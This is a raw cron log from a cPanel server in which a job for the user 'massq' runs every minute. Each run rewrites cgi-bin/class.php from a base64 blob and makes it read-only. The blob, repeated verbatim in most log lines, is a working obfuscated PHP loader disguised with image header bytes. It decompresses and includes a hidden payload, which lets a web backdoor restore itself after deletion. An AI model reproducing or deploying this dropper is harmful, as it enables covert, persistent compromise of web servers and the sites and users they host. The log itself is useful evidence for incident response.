Nov 14 09:08:01 server CROND[25888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:09:01 server CROND[26796]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 09:09:01 server CROND[26798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:10:01 server CROND[27668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:10:01 server CROND[27670]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:10:01 server CROND[27669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 09:10:01 server CROND[27671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:11:01 server CROND[28586]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:12:01 server CROND[29217]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 09:12:01 server CROND[29220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:13:01 server CROND[30095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:14:01 server CROND[31045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:15:01 server CROND[32095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:15:01 server CROND[32096]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:15:01 server CROND[32097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:16:01 server CROND[558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:17:02 server CROND[1417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:18:01 server CROND[2263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:19:01 server CROND[2943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:20:01 server CROND[3840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:20:01 server CROND[3842]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 09:20:01 server CROND[3843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:20:01 server CROND[3845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:20:01 server CROND[3844]: (root) CMD (/usr/lib64/sa/sa1 1 1)
